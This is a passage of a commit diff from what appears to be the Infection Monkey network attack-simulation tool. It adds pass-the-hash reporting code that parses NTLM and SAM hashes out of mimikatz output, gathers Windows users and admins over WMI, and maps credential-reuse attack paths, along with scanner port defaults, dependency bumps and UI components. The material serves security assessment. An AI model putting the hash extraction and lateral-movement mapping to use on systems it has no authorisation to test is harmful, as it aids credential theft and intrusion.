"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
"description": "Name of the SMB service that will be set up to download monkey"
}
}
}
}
},
"network": {
"title": "Network",
"type": "object",
"properties": {
"tcp_scanner": {
"title": "TCP scanner",
"type": "object",
"properties": {
"HTTP_PORTS": {
"title": "HTTP ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
80,
8080,
443,
8008,
7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
"tcp_target_ports": {
"title": "TCP target ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},
"tcp_scan_interval": {
"title": "TCP scan interval",
"type": "integer",
"default": 0,
"description": "Time to sleep (in milliseconds) between scans"
},
"tcp_scan_timeout": {
"title": "TCP scan timeout",
"type": "integer",
"default": 3000,
"description": "Maximum time (in milliseconds) to wait for TCP response"
},
"tcp_scan_get_banner": {
"title": "TCP scan - get banner",
"type": "boolean",
"default": True,
"description": "Determines whether the TCP scan should try to get the banner"
}
}
},
"ping_scanner": {
"title": "Ping scanner",
"type": "object",
"properties": {
"ping_scan_timeout": {
"title": "Ping scan timeout",
"type": "integer",
"default": 1000,
"description": "Maximum time (in milliseconds) to wait for ping response"
}
}
}
}
}
},
"options": {
"collapsed": True
}
}

View File

@ -0,0 +1,6 @@
"""This file will include consts values regarding the groupsandusers collection"""
__author__ = 'maor.rayzin'
USERTYPE = 1
GROUPTYPE = 2

View File

@ -0,0 +1,52 @@
__author__ = 'maor.rayzin'
class MimikatzSecrets(object):
def __init__(self):
# Static class
pass
@staticmethod
def extract_sam_secrets(mim_string, users_dict):
users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:]
if mim_string.count("\n42.") != 2:
return {}
for sam_user_txt in users_secrets:
sam_user = dict([map(unicode.strip, line.split(":")) for line in
filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())])
username = sam_user.get("User")
users_dict[username] = {}
ntlm = sam_user.get("NTLM")
if not ntlm or "[hashed secret]" not in ntlm:
continue
users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip()
@staticmethod
def extract_ntlm_secrets(mim_string, users_dict):
if mim_string.count("\n42.") != 2:
return {}
ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:]
for ntds_user_txt in ntds_users:
user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip()
ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip()
ntlm = ntlm.replace("[hashed secret]", "").strip()
users_dict[user] = {}
if ntlm:
users_dict[user]['ntlm'] = ntlm
@staticmethod
def extract_secrets_from_mimikatz(mim_string):
users_dict = {}
MimikatzSecrets.extract_sam_secrets(mim_string, users_dict)
MimikatzSecrets.extract_ntlm_secrets(mim_string, users_dict)
return users_dict

View File

@ -97,6 +97,11 @@ class NodeService:
def get_monkey_label_by_id(monkey_id):
return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id))
@staticmethod
def get_monkey_critical_services(monkey_id):
critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', [])
return critical_services
@staticmethod
def get_monkey_label(monkey):
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
@ -320,3 +325,7 @@ class NodeService:
@staticmethod
def get_node_hostname(node):
return node['hostname'] if 'hostname' in node else node['os']['version']
@staticmethod
def get_hostname_by_id(node_id):
return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))

View File

@ -0,0 +1,285 @@
from itertools import product
from cc.database import mongo
from bson import ObjectId
from cc.services.groups_and_users_consts import USERTYPE
from cc.services.node import NodeService
__author__ = 'maor.rayzin'
class PTHReportService(object):
"""
A static class supplying utils to produce a report based on the PTH related information
gathered via mimikatz and wmi.
"""
@staticmethod
def __dup_passwords_mongoquery():
"""
This function builds and queries the mongoDB for users that are using the same passwords. this is done
by comparing the NTLM hash found for each user by mimikatz.
:return:
A list of mongo documents (dicts in python) that look like this:
{
'_id': The NTLM hash,
'count': How many users share it.
'Docs': the name, domain name, _Id, and machine_id of the users
}
"""
pipeline = [
{"$match": {
'NTLM_secret': {
"$exists": "true", "$ne": None}
}},
{
"$group": {
"_id": {
"NTLM_secret": "$NTLM_secret"},
"count": {"$sum": 1},
"Docs": {"$push": {'_id': "$_id", 'name': '$name', 'domain_name': '$domain_name',
'machine_id': '$machine_id'}}
}},
{'$match': {'count': {'$gt': 1}}}
]
return mongo.db.groupsandusers.aggregate(pipeline)
@staticmethod
def __get_admin_on_machines_format(admin_on_machines, domain_name):
"""
This function finds for each admin user, which machines its an admin of, and compile them to a list.
:param admin_on_machines: A list of "monkey" documents "_id"s
:param domain_name: The admins' domain name
:return:
A list of formatted machines names *domain*\*hostname*, to use in shared admins issues.
"""
machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1})
return [domain_name + '\\' + i['hostname'] for i in list(machines)]
@staticmethod
def __strong_users_on_crit_query():
"""
This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hashes and
are administrators on machines with services predefined as important services thus making these machines
critical.
:return:
A list of said users
"""
pipeline = [
{
'$unwind': '$admin_on_machines'
},
{
'$match': {'type': USERTYPE, 'domain_name': {'$ne': None}}
},
{
'$lookup':
{
'from': 'monkey',
'localField': 'admin_on_machines',
'foreignField': '_id',
'as': 'critical_machine'
}
},
{
'$match': {'critical_machine.critical_services': {'$ne': []}}
},
{
'$unwind': '$critical_machine'
}
]
return mongo.db.groupsandusers.aggregate(pipeline)
@staticmethod
def __build_dup_user_label(i):
return i['hostname'] + '\\' + i['username'] if i['hostname'] else i['domain_name'] + '\\' + i['username']
@staticmethod
def get_duplicated_passwords_nodes():
users_cred_groups = []
docs = PTHReportService.__dup_passwords_mongoquery()
for doc in docs:
users_list = [
{
'username': user['name'],
'domain_name': user['domain_name'],
'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None
} for user in doc['Docs']
]
users_cred_groups.append({'cred_groups': users_list})
return users_cred_groups
@staticmethod
def get_duplicated_passwords_issues():
user_groups = PTHReportService.get_duplicated_passwords_nodes()
issues = []
for group in user_groups:
user_info = group['cred_groups'][0]
issues.append(
{
'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords',
'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'],
'shared_with': [PTHReportService.__build_dup_user_label(i) for i in group['cred_groups']],
'is_local': False if user_info['domain_name'] else True
}
)
return issues
@staticmethod
def get_shared_admins_nodes():
# This mongo queries users the best solution to figure out if an array
# object has at least two objects in it, by making sure any value exists in the array index 1.
# Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account
# is shared.
admins = mongo.db.groupsandusers.find({'type': USERTYPE, 'name': {'$ne': 'Administrator'},
'admin_on_machines.1': {'$exists': True}},
{'admin_on_machines': 1, 'name': 1, 'domain_name': 1})
return [
{
'name': admin['name'],
'domain_name': admin['domain_name'],
'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name'])
} for admin in admins
]
@staticmethod
def get_shared_admins_issues():
admins_info = PTHReportService.get_shared_admins_nodes()
return [
{
'is_local': False,
'type': 'shared_admins_domain',
'machine': admin['domain_name'],
'username': admin['domain_name'] + '\\' + admin['name'],
'shared_machines': admin['admin_on_machines'],
}
for admin in admins_info]
@staticmethod
def get_strong_users_on_critical_machines_nodes():
crit_machines = {}
docs = PTHReportService.__strong_users_on_crit_query()
for doc in docs:
hostname = str(doc['critical_machine']['hostname'])
if hostname not in crit_machines:
crit_machines[hostname] = {
'threatening_users': [],
'critical_services': doc['critical_machine']['critical_services']
}
crit_machines[hostname]['threatening_users'].append(
{'name': str(doc['domain_name']) + '\\' + str(doc['name']),
'creds_location': doc['secret_location']})
return crit_machines
@staticmethod
def get_strong_users_on_crit_issues():
crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes()
return [
{
'type': 'strong_users_on_crit',
'machine': machine,
'services': crit_machines[machine].get('critical_services'),
'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']]
} for machine in crit_machines
]
@staticmethod
def get_strong_users_on_crit_details():
user_details = {}
crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes()
for machine in crit_machines:
for user in crit_machines[machine]['threatening_users']:
username = user['name']
if username not in user_details:
user_details[username] = {
'machines': [],
'services': []
}
user_details[username]['machines'].append(machine)
user_details[username]['services'] += crit_machines[machine]['critical_services']
return [
{
'username': user,
'machines': user_details[user]['machines'],
'services_names': user_details[user]['services']
} for user in user_details
]
@staticmethod
def generate_map_nodes():
monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1})
return [
{
'id': monkey['_id'],
'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]),
'group': 'critical' if monkey.get('critical_services', []) else 'normal',
'services': monkey.get('critical_services', []),
'hostname': monkey['hostname']
} for monkey in monkeys
]
@staticmethod
def generate_edges():
edges_list = []
comp_users = mongo.db.groupsandusers.find(
{
'admin_on_machines': {'$ne': []},
'secret_location': {'$ne': []},
'type': USERTYPE
},
{
'admin_on_machines': 1, 'secret_location': 1
}
)
for user in comp_users:
# A list comp, to get all unique pairs of attackers and victims.
for pair in [pair for pair in product(user['admin_on_machines'], user['secret_location'])
if pair[0] != pair[1]]:
edges_list.append(
{
'from': pair[1],
'to': pair[0],
'id': str(pair[1]) + str(pair[0])
}
)
return edges_list
@staticmethod
def get_pth_map():
return {
'nodes': PTHReportService.generate_map_nodes(),
'edges': PTHReportService.generate_edges()
}
@staticmethod
def get_report():
pth_map = PTHReportService.get_pth_map()
PTHReportService.get_strong_users_on_critical_machines_nodes()
report = \
{
'report_info':
{
'strong_users_table': PTHReportService.get_strong_users_on_crit_details()
},
'pthmap':
{
'nodes': pth_map.get('nodes'),
'edges': pth_map.get('edges')
}
}
return report

View File

@ -12,6 +12,7 @@ from cc.services.config import ConfigService
from cc.services.edge import EdgeService
from cc.services.node import NodeService
from cc.utils import local_ip_addresses, get_subnets
from pth_report import PTHReportService
from common.network.network_range import NetworkRange
__author__ = "itay.mizeretz"
@ -50,13 +51,16 @@ class ReportService:
AZURE = 6
STOLEN_SSH_KEYS = 7
STRUTS2 = 8
WEBLOGIC = 9,
HADOOP = 10,
MSSQL = 11
WEBLOGIC = 9
HADOOP = 10
PTH_CRIT_SERVICES_ACCESS = 11,
MSSQL = 12
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
TUNNEL = 1
SHARED_LOCAL_ADMIN = 2
SHARED_PASSWORDS = 3
@staticmethod
def get_first_monkey_time():
@ -108,25 +112,28 @@ class ReportService:
@staticmethod
def get_scanned():
formatted_nodes = []
nodes = \
[NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \
+ [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in
mongo.db.monkey.find({}, {'_id': 1})]
nodes = [
{
'label': node['label'],
'ip_addresses': node['ip_addresses'],
'accessible_from_nodes':
(x['hostname'] for x in
(NodeService.get_displayed_node_by_id(edge['from'], True)
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))),
'services': node['services']
}
for node in nodes]
for node in nodes:
formatted_nodes.append(
{
'label': node['label'],
'ip_addresses': node['ip_addresses'],
'accessible_from_nodes':
(x['hostname'] for x in
(NodeService.get_displayed_node_by_id(edge['from'], True)
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))),
'services': node['services']
})
logger.info('Scanned nodes generated for reporting')
return nodes
return formatted_nodes
@staticmethod
def get_exploited():
@ -165,13 +172,14 @@ class ReportService:
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
for user in monkey_creds:
for pass_type in monkey_creds[user]:
creds.append(
cred_row = \
{
'username': user.replace(',', '.'),
'type': PASS_TYPE_DICT[pass_type],
'origin': origin
}
)
if cred_row not in creds:
creds.append(cred_row)
logger.info('Stolen creds generated for reporting')
return creds
@ -425,7 +433,7 @@ class ReportService:
ip_in_src = None
ip_in_dst = None
for ip_addr in monkey['ip_addresses']:
if source_subnet_range.is_in_range(unicode(ip_addr)):
if source_subnet_range.is_in_range(text_type(ip_addr)):
ip_in_src = ip_addr
break
@ -434,7 +442,7 @@ class ReportService:
continue
for ip_addr in monkey['ip_addresses']:
if target_subnet_range.is_in_range(unicode(ip_addr)):
if target_subnet_range.is_in_range(text_type(ip_addr)):
ip_in_dst = ip_addr
break
@ -470,7 +478,7 @@ class ReportService:
scans.rewind() # If we iterated over scans already we need to rewind.
for scan in scans:
target_ip = scan['data']['machine']['ip_addr']
if target_subnet_range.is_in_range(unicode(target_ip)):
if target_subnet_range.is_in_range(text_type(target_ip)):
monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
source_subnet_range,
@ -529,23 +537,44 @@ class ReportService:
return cross_segment_issues
@staticmethod
def get_domain_issues():
ISSUE_GENERATORS = [
PTHReportService.get_duplicated_passwords_issues,
PTHReportService.get_shared_admins_issues,
]
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
domain_issues_dict = {}
for issue in issues:
if not issue.get('is_local', True):
machine = issue.get('machine').upper()
if machine not in domain_issues_dict:
domain_issues_dict[machine] = []
domain_issues_dict[machine].append(issue)
logger.info('Domain issues generated for reporting')
return domain_issues_dict
@staticmethod
def get_issues():
ISSUE_GENERATORS = [
ReportService.get_exploits,
ReportService.get_tunnels,
ReportService.get_island_cross_segment_issues,
ReportService.get_azure_issues
ReportService.get_azure_issues,
PTHReportService.get_duplicated_passwords_issues,
PTHReportService.get_strong_users_on_crit_issues
]
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
issues_dict = {}
for issue in issues:
machine = issue['machine']
if machine not in issues_dict:
issues_dict[machine] = []
issues_dict[machine].append(issue)
if issue.get('is_local', True):
machine = issue.get('machine').upper()
if machine not in issues_dict:
issues_dict[machine] = []
issues_dict[machine].append(issue)
logger.info('Issues generated for reporting')
return issues_dict
@ -613,6 +642,8 @@ class ReportService:
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
elif issue['type'] == 'strong_users_on_crit':
issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
@ -620,7 +651,7 @@ class ReportService:
@staticmethod
def get_warnings_overview(issues, cross_segment_issues):
warnings_byte_array = [False] * 2
warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT)
for machine in issues:
for issue in issues[machine]:
@ -628,6 +659,10 @@ class ReportService:
warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
elif issue['type'] == 'tunnel':
warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True
elif issue['type'] == 'shared_admins':
warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_LOCAL_ADMIN.value] = True
elif issue['type'] == 'shared_passwords':
warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True
if len(cross_segment_issues) != 0:
warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
@ -651,6 +686,7 @@ class ReportService:
@staticmethod
def get_report():
domain_issues = ReportService.get_domain_issues()
issues = ReportService.get_issues()
config_users = ReportService.get_config_users()
config_passwords = ReportService.get_config_passwords()
@ -678,11 +714,14 @@ class ReportService:
'exploited': ReportService.get_exploited(),
'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(),
'ssh_keys': ReportService.get_ssh_keys()
'ssh_keys': ReportService.get_ssh_keys(),
'strong_users': PTHReportService.get_strong_users_on_crit_details(),
'pth_map': PTHReportService.get_pth_map()
},
'recommendations':
{
'issues': issues
'issues': issues,
'domain_issues': domain_issues
}
}

View File

@ -0,0 +1,155 @@
from cc.database import mongo
from cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE
__author__ = 'maor.rayzin'
class WMIHandler(object):
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
def __init__(self, monkey_id, wmi_info, user_secrets):
self.monkey_id = monkey_id
self.info_for_mongo = {}
self.users_secrets = user_secrets
self.users_info = wmi_info['Win32_UserAccount']
self.groups_info = wmi_info['Win32_Group']
self.groups_and_users = wmi_info['Win32_GroupUser']
self.services = wmi_info['Win32_Service']
self.products = wmi_info['Win32_Product']
def process_and_handle_wmi_info(self):
self.add_groups_to_collection()
self.add_users_to_collection()
self.create_group_user_connection()
self.insert_info_to_mongo()
self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id)
self.update_admins_retrospective()
self.update_critical_services()
def update_critical_services(self):
critical_names = ("W3svc", "MSExchangeServiceHost", "dns", 'MSSQL$SQLEXPRES')
mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}})
services_names_list = [str(i['Name'])[2:-1] for i in self.services]
products_names_list = [str(i['Name'])[2:-2] for i in self.products]
for name in critical_names:
if name in services_names_list or name in products_names_list:
mongo.db.monkey.update({'_id': self.monkey_id}, {'$addToSet': {'critical_services': name}})
def build_entity_document(self, entity_info, monkey_id=None):
general_properties_dict = {
'SID': str(entity_info['SID'])[4:-1],
'name': str(entity_info['Name'])[2:-1],
'machine_id': monkey_id,
'member_of': [],
'admin_on_machines': []
}
if monkey_id:
general_properties_dict['domain_name'] = None
else:
general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1]
return general_properties_dict
def add_users_to_collection(self):
for user in self.users_info:
if not user.get('LocalAccount'):
base_entity = self.build_entity_document(user)
else:
base_entity = self.build_entity_document(user, self.monkey_id)
base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm')
base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam')
base_entity['secret_location'] = []
base_entity['type'] = USERTYPE
self.info_for_mongo[base_entity.get('SID')] = base_entity
def add_groups_to_collection(self):
for group in self.groups_info:
if not group.get('LocalAccount'):
base_entity = self.build_entity_document(group)
else:
base_entity = self.build_entity_document(group, self.monkey_id)
base_entity['entities_list'] = []
base_entity['type'] = GROUPTYPE
self.info_for_mongo[base_entity.get('SID')] = base_entity
def create_group_user_connection(self):
for group_user_couple in self.groups_and_users:
group_part = group_user_couple['GroupComponent']
child_part = group_user_couple['PartComponent']
group_sid = str(group_part['SID'])[4:-1]
groups_entities_list = self.info_for_mongo[group_sid]['entities_list']
child_sid = ''
if type(child_part) in (unicode, str):
child_part = str(child_part)
name = None
domain_name = None
if "cimv2:Win32_UserAccount" in child_part:
# domain user
domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0]
name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2]
if "cimv2:Win32_Group" in child_part:
# domain group
domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0]
name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2]
for entity in self.info_for_mongo:
if self.info_for_mongo[entity]['name'] == name and \
self.info_for_mongo[entity]['domain'] == domain_name:
child_sid = self.info_for_mongo[entity]['SID']
else:
child_sid = str(child_part['SID'])[4:-1]
if child_sid and child_sid not in groups_entities_list:
groups_entities_list.append(child_sid)
if child_sid:
if child_sid in self.info_for_mongo:
self.info_for_mongo[child_sid]['member_of'].append(group_sid)
def insert_info_to_mongo(self):
for entity in self.info_for_mongo.values():
if entity['machine_id']:
# Handling for local entities.
mongo.db.groupsandusers.update({'SID': entity['SID'],
'machine_id': entity['machine_id']}, entity, upsert=True)
else:
# Handlings for domain entities.
if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}):
mongo.db.groupsandusers.insert_one(entity)
else:
# if entity is domain entity, add the monkey id of current machine to secrets_location.
# (found on this machine)
if entity.get('NTLM_secret'):
mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': USERTYPE},
{'$addToSet': {'secret_location': self.monkey_id}})
def update_admins_retrospective(self):
for profile in self.info_for_mongo:
groups_from_mongo = mongo.db.groupsandusers.find({
'SID': {'$in': self.info_for_mongo[profile]['member_of']}},
{'admin_on_machines': 1})
for group in groups_from_mongo:
if group['admin_on_machines']:
mongo.db.groupsandusers.update_one({'SID': self.info_for_mongo[profile]['SID']},
{'$addToSet': {'admin_on_machines': {
'$each': group['admin_on_machines']}}})
def add_admin(self, group, machine_id):
for sid in group['entities_list']:
mongo.db.groupsandusers.update_one({'SID': sid},
{'$addToSet': {'admin_on_machines': machine_id}})
entity_details = mongo.db.groupsandusers.find_one({'SID': sid},
{'type': USERTYPE, 'entities_list': 1})
if entity_details.get('type') == GROUPTYPE:
self.add_admin(entity_details, machine_id)

File diff suppressed because it is too large Load Diff

View File

@ -31,14 +31,14 @@
"babel-preset-react": "^6.24.1",
"babel-preset-stage-0": "^6.5.0",
"bower-webpack-plugin": "^0.1.9",
"chai": "^4.1.2",
"copyfiles": "^2.0.0",
"chai": "^4.2.0",
"copyfiles": "^2.1.0",
"css-loader": "^1.0.0",
"eslint": "^5.3.0",
"eslint-loader": "^2.1.0",
"eslint": "^5.6.1",
"eslint-loader": "^2.1.1",
"eslint-plugin-react": "^7.11.1",
"file-loader": "^1.1.11",
"glob": "^7.0.0",
"glob": "^7.1.3",
"html-loader": "^0.5.5",
"html-webpack-plugin": "^3.2.0",
"karma": "^3.0.0",
@ -48,45 +48,45 @@
"karma-mocha-reporter": "^2.2.5",
"karma-phantomjs-launcher": "^1.0.0",
"karma-sourcemap-loader": "^0.3.5",
"karma-webpack": "^3.0.0",
"karma-webpack": "^3.0.5",
"minimist": "^1.2.0",
"mocha": "^5.2.0",
"null-loader": "^0.1.1",
"open": "0.0.5",
"phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2",
"react-hot-loader": "^4.3.4",
"react-hot-loader": "^4.3.11",
"rimraf": "^2.6.2",
"style-loader": "^0.22.1",
"url-loader": "^1.1.0",
"webpack": "^4.16.5",
"webpack-cli": "^3.1.0",
"webpack-dev-server": "^3.1.5"
"url-loader": "^1.1.2",
"webpack": "^4.20.2",
"webpack-cli": "^3.1.2",
"webpack-dev-server": "^3.1.9"
},
"dependencies": {
"bootstrap": "3.3.7",
"core-js": "^2.5.7",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
"js-file-download": "^0.4.1",
"js-file-download": "^0.4.4",
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
"moment": "^2.22.2",
"normalize.css": "^8.0.0",
"npm": "^6.3.0",
"npm": "^6.4.1",
"prop-types": "^15.6.2",
"rc-progress": "^2.2.5",
"react": "^16.4.2",
"react-bootstrap": "^0.32.1",
"rc-progress": "^2.2.6",
"react": "^16.5.2",
"react-bootstrap": "^0.32.4",
"react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.2.0",
"react-dimensions": "^1.3.0",
"react-dom": "^16.4.2",
"react-dom": "^16.5.2",
"react-fa": "^5.0.0",
"react-graph-vis": "^1.0.2",
"react-json-tree": "^0.11.0",
"react-jsonschema-form": "^1.0.4",
"react-redux": "^5.0.7",
"react-jsonschema-form": "^1.0.5",
"react-redux": "^5.1.1",
"react-router-dom": "^4.3.1",
"react-table": "^6.8.6",
"react-toggle": "^4.0.1",

View File

@ -7,6 +7,7 @@ import RunServerPage from 'components/pages/RunServerPage';
import ConfigurePage from 'components/pages/ConfigurePage';
import RunMonkeyPage from 'components/pages/RunMonkeyPage';
import MapPage from 'components/pages/MapPage';
import PassTheHashMapPage from 'components/pages/PassTheHashMapPage';
import TelemetryPage from 'components/pages/TelemetryPage';
import StartOverPage from 'components/pages/StartOverPage';
import ReportPage from 'components/pages/ReportPage';

View File

@ -1,4 +1,4 @@
let groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island',
const groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island',
'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running',
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
@ -17,7 +17,22 @@ let getGroupsOptions = () => {
return groupOptions;
};
export const options = {
const groupNamesPth = ['normal', 'critical'];
let getGroupsOptionsPth = () => {
let groupOptions = {};
for (let groupName of groupNamesPth) {
groupOptions[groupName] =
{
shape: 'image',
size: 50,
image: require('../../images/nodes/pth/' + groupName + '.png')
};
}
return groupOptions;
};
export const basic_options = {
autoResize: true,
layout: {
improvedLayout: false
@ -34,10 +49,22 @@ export const options = {
avoidOverlap: 0.5
},
minVelocity: 0.75
},
groups: getGroupsOptions()
}
};
export const options = (() => {
let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
opts.groups = getGroupsOptions();
return opts;
})();
export const optionsPth = (() => {
let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
opts.groups = getGroupsOptionsPth();
opts.physics.barnesHut.gravitationalConstant = -20000;
return opts;
})();
export function edgeGroupToColor(group) {
switch (group) {
case 'exploited':

View File

@ -0,0 +1,247 @@
import React from 'react';
import {Icon} from 'react-fa';
import Toggle from 'react-toggle';
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
import download from 'downloadjs'
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
class InfMapPreviewPaneComponent extends PreviewPaneComponent {
osRow(asset) {
return (
<tr>
<th>Operating System</th>
<td>{asset.os.charAt(0).toUpperCase() + asset.os.slice(1)}</td>
</tr>
);
}
ipsRow(asset) {
return (
<tr>
<th>IP Addresses</th>
<td>{asset.ip_addresses.map(val => <div key={val}>{val}</div>)}</td>
</tr>
);
}
servicesRow(asset) {
return (
<tr>
<th>Services</th>
<td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
</tr>
);
}
accessibleRow(asset) {
return (
<tr>
<th>
Accessible From&nbsp;
{this.generateToolTip('List of machine which can access this one using a network protocol')}
</th>
<td>{asset.accessible_from_nodes.map(val => <div key={val}>{val}</div>)}</td>
</tr>
);
}
statusRow(asset) {
return (
<tr>
<th>Status</th>
<td>{(asset.dead) ? 'Dead' : 'Alive'}</td>
</tr>
);
}
forceKill(event, asset) {
let newConfig = asset.config;
newConfig['alive'] = !event.target.checked;
this.authFetch('/api/monkey/' + asset.guid,
{
method: 'PATCH',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({config: newConfig})
});
}
forceKillRow(asset) {
return (
<tr>
<th>
Force Kill&nbsp;
{this.generateToolTip('If this is on, monkey will die next time it communicates')}
</th>
<td>
<Toggle id={asset.id} checked={!asset.config.alive} icons={false} disabled={asset.dead}
onChange={(e) => this.forceKill(e, asset)}/>
</td>
</tr>
);
}
unescapeLog(st) {
return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
.replace(/\\n/g, "\n")
.replace(/\\r/g, "\r")
.replace(/\\t/g, "\t")
.replace(/\\b/g, "\b")
.replace(/\\f/g, "\f")
.replace(/\\"/g, '\"')
.replace(/\\'/g, "\'")
.replace(/\\&/g, "\&");
}
downloadLog(asset) {
this.authFetch('/api/log?id=' + asset.id)
.then(res => res.json())
.then(res => {
let timestamp = res['timestamp'];
timestamp = timestamp.substr(0, timestamp.indexOf('.'));
let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log';
let logContent = this.unescapeLog(res['log']);
download(logContent, filename, 'text/plain');
});
}
downloadLogRow(asset) {
return (
<tr>
<th>
Download Log
</th>
<td>
<a type="button" className="btn btn-primary"
disabled={!asset.has_log}
onClick={() => this.downloadLog(asset)}>Download</a>
</td>
</tr>
);
}
exploitsTimeline(asset) {
if (asset.exploits.length === 0) {
return (<div/>);
}
return (
<div>
<h4 style={{'marginTop': '2em'}}>
Exploit Timeline&nbsp;
{this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')}
</h4>
<ul className="timeline">
{asset.exploits.map(exploit =>
<li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
)}
</ul>
</div>
)
}
assetInfo(asset) {
return (
<div>
<table className="table table-condensed">
<tbody>
{this.osRow(asset)}
{this.ipsRow(asset)}
{this.servicesRow(asset)}
{this.accessibleRow(asset)}
</tbody>
</table>
{this.exploitsTimeline(asset)}
</div>
);
}
infectedAssetInfo(asset) {
return (
<div>
<table className="table table-condensed">
<tbody>
{this.osRow(asset)}
{this.statusRow(asset)}
{this.ipsRow(asset)}
{this.servicesRow(asset)}
{this.accessibleRow(asset)}
{this.forceKillRow(asset)}
{this.downloadLogRow(asset)}
</tbody>
</table>
{this.exploitsTimeline(asset)}
</div>
);
}
scanInfo(edge) {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Operating System</th>
<td>{edge.os.type}</td>
</tr>
<tr>
<th>IP Address</th>
